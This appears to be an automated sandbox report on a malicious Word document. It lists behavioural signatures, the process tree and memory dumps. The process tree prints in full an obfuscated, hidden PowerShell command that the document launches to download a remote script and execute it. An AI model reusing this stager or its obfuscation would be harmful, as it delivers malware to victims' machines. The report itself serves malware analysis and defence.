Analysis

  • max time kernel
    149s
  • max time network
    37s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    25/04/2021, 09:57

General

  • Target
    4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
  • Size 230KB
  • Sample210425-ctbs283df2
  • SHA256 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Do('http://pootball.medianewsonline.com/ro/ki.txt')};$b=$a.insert(29,'wnloadString');$c=iex $b;iex $c}
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1984
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2000

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/536-60-0x0000000072661000-0x0000000072664000-memory.dmp

          memory/536-61-0x00000000700E1000-0x00000000700E3000-memory.dmp

          memory/536-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1984-72-0x0000000005240000-0x0000000005241000-memory.dmp

          memory/1984-70-0x00000000048A2000-0x00000000048A3000-memory.dmp

          memory/1984-65-0x0000000075011000-0x0000000075013000-memory.dmp

          memory/1984-90-0x00000000062D0000-0x00000000062D1000-memory.dmp

          memory/1984-67-0x0000000001EF0000-0x0000000001EF1000-memory.dmp

          memory/1984-68-0x00000000048E0000-0x00000000048E1000-memory.dmp

          memory/1984-69-0x00000000048A0000-0x00000000048A1000-memory.dmp

          memory/1984-89-0x00000000062B0000-0x00000000062B1000-memory.dmp

          memory/1984-71-0x0000000002580000-0x0000000002581000-memory.dmp

          memory/1984-75-0x0000000005710000-0x0000000005711000-memory.dmp

          memory/1984-80-0x0000000005750000-0x0000000005751000-memory.dmp

          memory/1984-81-0x000000007EF30000-0x000000007EF31000-memory.dmp

          memory/1984-82-0x00000000057B0000-0x00000000057B1000-memory.dmp

          memory/2000-66-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp